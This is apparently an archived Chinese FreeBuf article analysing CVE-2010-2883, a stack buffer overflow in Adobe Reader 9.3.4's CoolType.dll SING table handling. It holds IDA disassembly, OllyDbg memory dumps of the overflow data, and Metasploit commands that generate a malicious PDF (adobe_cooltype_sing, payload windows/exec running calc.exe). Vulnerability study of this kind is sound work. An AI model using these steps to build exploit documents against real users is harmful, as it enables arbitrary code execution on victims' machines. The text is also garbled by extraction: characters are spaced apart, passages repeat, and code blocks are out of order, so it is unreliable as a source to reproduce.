搜索

[14218] 2019-06-11_细说CVE-2010-2883从原理分析到样本构造

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-06-11_细说CVE-2010-2883从原理分析到样本构造 细 说 C V E - 2 0 1 0 - 2 8 8 3 从 原 理 分 析 到 样 本 构 造 P u r e T 1   F r e e B u f   2 0 1 9 - 0 6 - 1 1 前 言 前 言 可 能 是 各 位 大 佬 都 比 较 忙 的 缘 故 ， 在 学 习 了 网 上 各 种 前 辈 们 的 漏 洞 报 告 之 后 ， 总 感 觉 叙 述 的 不 够 详 细 ， 小 白 理 解 起 来 较 为 困 难 。 因 此 秉 承 着 前 人 栽 树 后 人 浇 水 的 原 则 ， 我 也 想 尝 试 写 一 可 能 是 各 位 大 佬 都 比 较 忙 的 缘 故 ， 在 学 习 了 网 上 各 种 前 辈 们 的 漏 洞 报 告 之 后 ， 总 感 觉 叙 述 的 不 够 详 细 ， 小 白 理 解 起 来 较 为 困 难 。 因 此 秉 承 着 前 人 栽 树 后 人 浇 水 的 原 则 ， 我 也 想 尝 试 写 一 篇 个 人 认 为 较 为 详 细 的 漏 洞 分 析 ， 但 由 于 水 平 有 限 不 足 之 处 请 谅 解 。 并 借 此 记 录 下 近 日 的 学 习 成 果 。 望 各 位 不 吝 赐 教 ！ 篇 个 人 认 为 较 为 详 细 的 漏 洞 分 析 ， 但 由 于 水 平 有 限 不 足 之 处 请 谅 解 。 并 借 此 记 录 下 近 日 的 学 习 成 果 。 望 各 位 不 吝 赐 教 ！ 漏 洞 信 息 漏 洞 信 息 漏 洞 编 号 :   C V E - 2 0 1 0 - 2 8 8 3 复 现 环 境 : 操 操 作 作 系 系 统 统 W i n d o w s   X P   S P 3 虚 拟 机 V m w a r e   1 5   P r o 漏 洞 软 件 A d o b e   R e a d e r   9 . 3 . 4 漏 洞 简 介 :   在 A d o b e   R e a d e r 和 A c r o b a t   9 . 4 之 前 的 9 . x 版 本 中 用 于 实 现 C o o l T y p e ( 清 晰 显 示 文 本 的 字 体 还 原 技 术 ) 技 术 的 库 C o o l T y p e . d l l 中 在 解 析 T r u e T y p e 字 体 文 件 中 的 S I N G 表 的 u n i q u e N a m e 字 段 时 调 用 的 s t r c a t 函 数 未 检 查 未 检 查 长 度 长 度 导 致 存 在 基 于 栈 的 缓 冲 区 溢 出 漏 洞 。 远 程 攻 击 者 可 构 造 恶 意 的 S m a r t I N d e p e n d e n t   G l y p h l e t s   ( S I N G ) 表 修 改 内 存 数 据 从 而 执 行 任 意 代 码 。 定 位 漏 洞 定 位 漏 洞 既 然 我 们 已 经 知 道 了 产 生 漏 洞 的 地 方 在 于 C o o l T y p e . d l l ， 因 此 这 里 采 用 I D A 直 接 静 态 分 析 。 在 A d o b e   R e a d e r   9 . 3 . 4 的 安 装 目 录 下 找 到 C o o l T y p e . d l l 动 态 链 接 库 ， 用 I D A 载 入 。 借 助 字 符 串 来 定 位 ， 在 S t r i n g s 窗 口 ( S h i f t + F 1 2 ) 中 搜 索   ( C t r l + F ) S I N G 关 键 词 得 到 如 下 信 息 ： 选 中 a S i n g 借 助 I D A 强 大 的 交 叉 引 用 功 能 ( C t r l + X ) ， 找 出 所 有 引 用 了 a S i n g 的 地 方 。 这 里 定 位 到 0 x 0 8 0 3 D D 7 4 的 位 置 ： 可 以 注 意 到 在 地 址 0 x 0 8 0 3 D D A B 处 调 用 了 s t r c a t 函 数 。 先 来 看 下 s t r c a t   的 函 数 原 型 ： s t r c a t 会 将 参 数 s r c 字 符 串 复 制 到 参 数 d e s t 所 指 的 字 符 串 尾 部 ， d e s t 最 后 的 结 束 字 符 N U L L 会 被 覆 盖 掉 ， 并 在 连 接 后 的 字 符 串 的 尾 部 再 增 加 一 个 N U L L 。 往 上 追 溯 会 发 现 这 里 的 s t r c a t 函 数 的 两 个 参 数 一 个 值 是 e b p + 1 0 8 h + v a r _ 1 0 8 另 一 个 值 是 e b p + 1 0 8 h + v a r _ 1 2 C ， 仔 细 观 察 会 发 现 这 里 并 没 有 去 验 证 s r c 的 长 度 是 否 可 能 会 超 出 d e s t 数 组 定 义 的 长 度 ， 因 此 如 果 我 们 有 可 能 将 超 出 d e s t 数 组 定 义 长 度 的 数 据 放 入 s r c 中 有 可 能 可 以 在 后 方 调 用 s t r c a t 函 数 时 覆 盖 栈 区 从 而 实 现 代 码 执 行 。 为 了 更 好 的 理 解 这 里 具 体 的 逻 辑 ， 我 们 可 以 考 虑 动 态 调 试 。 样 本 生 成 样 本 生 成 这 里 我 们 先 借 助 M e t a s p l o i t 帮 助 我 们 生 成 一 个 样 本 用 于 动 态 调 试   ( 之 后 会 分 析 这 个 样 本 是 如 何 构 造 出 来 的 ) 。 首 先 在 K a l i 中 调 用 m s f c o n s o l e 唤 出 我 们 的 m s f 。 搜 索 c v e - 2 0 1 0 - 2 8 8 3 漏 洞 编 号 可 以 列 出 可 用 的 e x p l o i t 。 . r d a t a : 0 8 1 9 D B 4 C   a S i n g                       d b   ' S I N G ' , 0                           ;   D A T A   X R E F :   s u b _ 8 0 1 5 A D 9 + D 2 ↑ o . r d a t a : 0 8 1 9 D B 4 C                                                                                   ;   s u b _ 8 0 3 D C F 9 + 7 B ↑ o   . . . . r d a t a : 0 8 1 9 D B 5 1                                   a l i g n   4 . t e x t : 0 8 0 3 D D 7 4                                   p u s h         o f f s e t   a S i n g         . t e x t : 0 8 0 3 D D 7 9                                   p u s h         e d i . t e x t : 0 8 0 3 D D 7 A                                   l e a           e c x ,   [ e b p + 1 0 8 h + v a r _ 1 2 C ]   . t e x t : 0 8 0 3 D D 7 D                                   c a l l         s u b _ 8 0 2 1 B 0 6             . t e x t : 0 8 0 3 D D 8 2                                   m o v           e a x ,   [ e b p + 1 0 8 h + v a r _ 1 2 C ] . t e x t : 0 8 0 3 D D 8 5                                   c m p           e a x ,   e s i . t e x t : 0 8 0 3 D D 8 5   ;       }   / /   s t a r t s   a t   8 0 3 D D 5 3 . t e x t : 0 8 0 3 D D 8 7   ;       t r y   { . t e x t : 0 8 0 3 D D 8 7                                   m o v           b y t e   p t r   [ e b p + 1 0 8 h + v a r _ 1 0 C ] ,   2 . t e x t : 0 8 0 3 D D 8 B                                   j z             s h o r t   l o c _ 8 0 3 D D C 4 . t e x t : 0 8 0 3 D D 8 D                                   m o v           e c x ,   [ e a x ] . t e x t : 0 8 0 3 D D 8 F                                   a n d           e c x ,   0 F F F F h . t e x t : 0 8 0 3 D D 9 5                                   j z             s h o r t   l o c _ 8 0 3 D D 9 F . t e x t : 0 8 0 3 D D 9 7                                   c m p           e c x ,   1 0 0 h . t e x t : 0 8 0 3 D D 9 D                                   j n z           s h o r t   l o c _ 8 0 3 D D C 0 . t e x t : 0 8 0 3 D D 9 F . t e x t : 0 8 0 3 D D 9 F   l o c _ 8 0 3 D D 9 F :           ;   C O D E   X R E F :   s u b _ 8 0 3 D C F 9 + 9 C ↑ j . t e x t : 0 8 0 3 D D 9 F                                   a d d           e a x ,   1 0 h . t e x t : 0 8 0 3 D D A 2                                   p u s h         e a x                           ;   c h a r   * . t e x t : 0 8 0 3 D D A 3                                   l e a           e a x ,   [ e b p + 1 0 8 h + v a r _ 1 0 8 ] . t e x t : 0 8 0 3 D D A 6                                   p u s h         e a x                           ;   c h a r   * . t e x t : 0 8 0 3 D D A 7                                   m o v           [ e b p + 1 0 8 h + v a r _ 1 0 8 ] ,   0 . t e x t : 0 8 0 3 D D A B                                   c a l l         s t r c a t c h a r   * s t r c a t ( c h a r   * d e s t ,   c o n s t   c h a r   * s r c ) ; m s f c o n s o l e m s f   >   s e a r c h   c v e - 2 0 1 0 - 2 8 8 3
这 个 e x p l o i t 的 位 置 在 ： 为 了 便 于 等 下 动 态 调 试 识 别 一 些 关 键 数 据 块 ， 我 们 考 虑 修 改 一 下 这 个 e x p l o i t 的 一 处 地 方 。 在 这 个 e x p l o i t 的 1 0 2 行 处 ， 将 下 面 这 句 代 码 ： 更 改 为 ： 这 里 的 r a n d _ t e x t 主 要 作 用 是 取 随 机 字 符 ， 目 的 是 为 了 增 强 样 本 的 随 机 性 从 而 躲 避 一 些 检 测 。 这 里 我 们 只 做 研 究 之 用 ， 所 以 不 必 随 机 。 修 改 之 后 保 存 使 用 这 个 e x p ： 然 后 设 置 有 效 载 荷 为 w i n d o w s / e x e c 用 来 执 行 命 令 ： 为 了 方 便 查 看 漏 洞 执 行 效 果 ， 我 们 这 里 将 载 荷 执 行 命 令 设 置 为 启 动 计 算 器 ： 最 后 设 置 一 下 生 成 的 样 本 文 件 名 ： 执 行 一 下 ， 样 本 就 被 生 成 在 了 / r o o t / . m s f 4 / l o c a l / c v e 2 0 1 0 2 8 8 3 . p d f 。 从 K a l i 中 拷 贝 出 来 放 到 我 们 的 W i n d o w s   X P   S P 3 复 现 环 境 中 。 动 态 分 析 动 态 分 析 在 复 现 环 境 中 把 A d o b e   R e a d e r   9 . 3 . 4 启 动 程 序 载 入 O l l y D b g 。 加 载 之 后 F 9 运 行 。 此 时 O l l y D b g 显 示 当 前 调 试 的 程 序 是 运 行 状 态 ， 实 际 上 这 个 时 候 A d o b e   R e a d e r 就 已 经 加 载 了 C o o l T y p e . d l l 文 件 了 。 通 过 刚 刚 的 静 态 分 析 我 们 了 解 到 a S i n g 在 地 址 0 x 0 8 0 3 D D 7 4 处 被 引 用 。 因 此 我 们 可 以 先 在 O D 中 在 这 个 地 址 处 下 一 个 断 点 。 快 捷 键 C t r l + G 输 入 0 x 0 8 0 3 D D 7 4 回 车 跳 转 到 该 地 址 F 2 下 断 点 。 我 们 将 刚 才 的 样 本 拖 入 到 A d o b e   R e a d e r 中 。 程 序 就 会 停 在 刚 才 下 的 断 点 上 面 。 F 7 单 步 到 ： 执 行 这 句 指 令 之 后 我 们 来 看 看 e c x 到 底 存 了 什 么 。 此 时 的 e c x =   0 x 0 0 1 2 E 4 B 4 ， 首 先 猜 测 这 是 一 个 指 针 地 址 ， 定 位 到 数 据 区 域 之 后 ， 取 出 前 3 2 位 的 十 六 进 制 。 由 于 在 X 8 6 架 构 下 是 小 端 字 节 序 ， 因 此 我 们 将 数 据 排 列 成 0 x 0 4 6 D 4 1 F 4 。 这 应 该 就 是 e c x 指 针 所 指 向 的 地 址 ， 定 位 到 数 据 区 域 。 可 以 看 到 如 下 数 据 ： 在 分 析 这 段 数 据 之 前 我 们 先 来 看 看 T r u e T y p e 字 体 格 式 标 准 文 档 里 是 怎 么 说 的 。 在 T r u e T y p e   字 体 文 件 中 ， 从 0 字 节 偏 移 的 位 置 开 始 处 有 一 个 表 目 录 。 且 这 个 表 目 录 的 第 一 个 字 段 是 名 为 s f n t   v e r s i o n 是 用 来 表 明 所 用 t t f 格 式 版 本 的 字 段 。 在 文 档 中 清 楚 的 标 注 了 ， 对 于 1 . 0 版 本 的 T T F 字 体 文 件 开 头 要 用 0 x 0 0 0 1 0 0 0 0 来 表 示 版 本 。 回 到 我 们 刚 才 0 x 0 4 6 D 4 1 F 4 位 置 处 的 数 据 ， 会 发 现 开 头 正 好 是 0 x 0 0 0 1 0 0 0 0 ， 这 就 证 明 了 e c x 保 存 的 是 一 个 指 向 t t f 对 象 的 指 针 地 址 并 且 在 这 里 应 该 是 作 为 t h i s 指 针 。 分 析 到 这 里 ， 继 续 我 们 的 动 态 调 试 。 接 下 来 遇 到 了 一 个 c a l l 指 令 ， 意 味 着 即 将 调 用 一 个 函 数 。 在 调 用 函 数 前 我 们 不 妨 先 看 看 这 个 函 数 传 入 了 哪 些 参 数 。 很 明 显 它 将 S I N G 字 符 串 当 作 参 数 了 。 这 里 我 们 单 步 F 8 不 进 入 c a l l 函 数 内 部 。 来 看 看 这 里 的 e a x 变 成 了 什 么 。 / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g . r b s i n g   < <   r a n d _ t e x t ( 0 x 2 5 4   -   s i n g . l e n g t h ) s i n g   < <   " A "   *   ( 0 x 2 5 4   -   s i n g . l e n g t h ) m s f   >   u s e   e x p l o i t / w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g m s f   e x p l o i t ( w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g )   >   s e t   p a y l o a d   w i n d o w s / e x e c m s f   e x p l o i t ( w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g )   >   s e t   c m d   c a l c . e x e m s f   e x p l o i t ( w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g )   >   s e t   f i l e n a m e   c v e 2 0 1 0 2 8 8 3 . p d f m s f   e x p l o i t ( w i n d o w s / f i l e f o r m a t / a d o b e _ c o o l t y p e _ s i n g )   >   e x p l o i t 0 8 0 3 D D 7 A         8 D 4 D   D C                   l e a   e c x , d w o r d   p t r   s s : [ e b p - 0 x 2 4 ] 0 0 1 2 E 4 B 4   F 4   4 1   6 D   0 4 0 4 6 D 4 1 F 4     0 0   0 1   0 0   0 0   0 0   1 1   0 1   0 0     . . . . . 0 4 6 D 4 1 F C     0 0   0 4   0 0   1 0   4 F   5 3   2 F   3 2     . . O S / 2 0 4 6 D 4 2 0 4     B 4   5 F   F 4   6 3   0 0   0 0   E B   7 0     確 鬰 . .   雙 0 4 6 D 4 2 0 C     0 0   0 0   0 0   5 6   5 0   4 3   4 C   5 4     . . . V P C L T 0 4 6 D 4 2 1 4     D 1   8 A   5 E   9 7   0 0   0 0   E B   C 8     褗 ^ ? .   肴 0 4 6 D 4 2 1 C     0 0   0 0   0 0   3 6   6 3   6 D   6 1   7 0     . . . 6 c m a p 0 4 6 D 4 2 2 4     A 4   C 3   E 8   A 0   0 0   0 0   B 1   6 C     っ 锠 . .   眑 0 8 0 3 D D 7 4         6 8   4 C D B 1 9 0 8           p u s h   C o o l T y p e . 0 8 1 9 D B 4 C             ;   A S C I I   " S I N G " 0 8 0 3 D D 7 9         5 7                             p u s h   e d i 0 8 0 3 D D 7 D         E 8   8 4 3 D F E F F           c a l l   C o o l T y p e . 0 8 0 2 1 B 0 6 0 8 0 3 D D 8 2         8 B 4 5   D C                   m o v   e a x , d w o r d   p t r   s s : [ e b p - 0 x 2 4 ] e a x   =   0 x 0 4 6 B E 5 9 8
数 据 窗 口 跟 随 就 会 发 现 ： 这 里 大 量 的   A   原 本 都 是 随 机 字 符 ， 由 于 刚 才 我 们 修 改 了   e x p l o i t   的 代 码 因 此 使 得 这 里 的 数 据 块 更 容 易 辨 认 。 实 际 上 这 些 数 据 都 是 样 本 中   S I N G   表 里 构 造 好 的 恶 意 数 据 。 0 4 6 B E 5 9 8     0 0   0 0   0 1   0 0   0 1   0 E   0 0   0 1     . . . . 0 4 6 B E 5 A 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   3 A     . . . . . . . : 0 4 6 B E 5 A 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 B 0     1 4   A 7   8 2   4 A   0 C   0 C   0 C   0 C     J . . . . 0 4 6 B E 5 B 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 C 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 C 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 D 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 D 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 E 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 E 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 F 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 5 F 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 0 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 0 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 1 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 1 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 2 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 2 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 3 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 3 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 4 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 4 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 5 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 5 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 6 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 6 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 7 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 7 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 8 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 8 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 9 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 9 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 A 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 A 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 B 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 B 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 C 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 C 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 D 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 D 8     C 6   0 8   8 A   4 A   4 1   4 1   4 1   4 1     ?   奐   A A A A 0 4 6 B E 6 E 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 E 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 F 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 6 F 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 0 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 0 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 1 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 1 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 2 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 2 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 3 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 3 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 4 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 4 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 5 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 5 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 6 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 6 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 7 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 7 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 8 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 8 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 9 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 9 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 A 0     3 8   C B   8 0   4 A   4 1   4 1   4 1   4 1     8   藔   J A A A A 0 4 6 B E 7 A 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 B 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 B 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 C 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 C 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 D 0     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 D 8     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     A A A A A A A A 0 4 6 B E 7 E 0     4 1   4 1   4 1   4 1   6 C                       A A A A l 0 8 0 3 D D 7 4         6 8   4 C D B 1 9 0 8           p u s h   C o o l T y p e . 0 8 1 9 D B 4 C       ;   A S C I I   " S I N G " 0 8 0 3 D D 7 9         5 7                               p u s h   e d i 0 8 0 3 D D 7 A         8 D 4 D   D C                   l e a   e c x , d w o r d   p t r   s s : [ e b p - 0 x 2 4 ]
因 此 总 结 一 下 ， 以 上 的 指 令 主 要 就 是 将 S I N G 表 的 t a g 名 传 入 到 0 8 0 2 1 B 0 6 函 数 中 通 过 表 目 录 来 获 取 到 S I N G 表 的 入 口 地 址 ， 而 目 前 e a x   的 值 0 x 0 4 6 B E 5 9 8 即 是 S I N G 表 的 入 口 地 址 。 分 析 S I N G 表 的 这 些 数 据 ， 我 们 就 能 知 道 样 本 到 底 做 了 些 什 么 。 继 续 往 下 动 态 调 试 ， 会 发 现 关 键 的 溢 出 点 。 第 一 个 p u s h e a x 将 刚 刚 获 取 到 的 S I N G 表 入 口 地 址 压 入 栈 区 。 第 二 个 p u s h e a x 获 取 了 当 前 栈 区 的 e b p 地 址 即 要 连 接 字 符 串 的 目 的 地 址 。 我 们 单 步 过 s t r c a t 之 后 ， 查 看 一 下 e b p 开 始 的 栈 区 数 据 。 0 8 0 3 D D 7 A         8 D 4 D   D C                   l e a   e c x , d w o r d   p t r   s s : [ e b p - 0 x 2 4 ] 0 8 0 3 D D 7 D         E 8   8 4 3 D F E F F           c a l l   C o o l T y p e . 0 8 0 2 1 B 0 6 0 8 0 3 D D 8 2         8 B 4 5   D C                   m o v   e a x , d w o r d   p t r   s s : [ e b p - 0 x 2 4 ] 0 8 0 3 D D A 2         5 0                             p u s h   e a x 0 8 0 3 D D A 3         8 D 4 5   0 0                   l e a   e a x , d w o r d   p t r   s s : [ e b p ] 0 8 0 3 D D A 6         5 0                             p u s h   e a x 0 8 0 3 D D A 7         C 6 4 5   0 0   0 0             m o v   b y t e   p t r   s s : [ e b p ] , 0 x 0 0 8 0 3 D D A B         E 8   4 8 3 D 1 3 0 0           c a l l   < j m p . & M S V C R 8 0 . s t r c a t > 0 0 1 2 E 4 D 8       4 1 4 1 4 1 4 1 0 0 1 2 E 4 D C       4 1 4 1 4 1 4 1 0 0 1 2 E 4 E 0       4 A 8 2 A 7 1 4     i c u c n v 3 6 . 4 A 8 2 A 7 1 4 0 0 1 2 E 4 E 4       0 C 0 C 0 C 0 C 0 0 1 2 E 4 E 8       4 1 4 1 4 1 4 1 0 0 1 2 E 4 E C       4 1 4 1 4 1 4 1 0 0 1 2 E 4 F 0       4 1 4 1 4 1 4 1 0 0 1 2 E 4 F 4       4 1 4 1 4 1 4 1 0 0 1 2 E 4 F 8       4 1 4 1 4 1 4 1 0 0 1 2 E 4 F C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 0 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 0 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 0 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 0 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 1 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 1 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 1 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 1 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 2 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 2 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 2 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 2 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 3 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 3 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 3 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 3 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 4 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 4 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 4 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 4 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 5 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 5 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 5 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 5 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 6 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 6 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 6 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 6 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 7 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 7 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 7 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 7 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 8 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 8 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 8 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 8 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 9 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 9 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 9 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 9 C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 A 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 A 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 A 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 A C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 B 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 B 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 B 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 B C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 C 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 C 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 C 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 C C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 D 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 D 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 D 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 D C       4 1 4 1 4 1 4 1
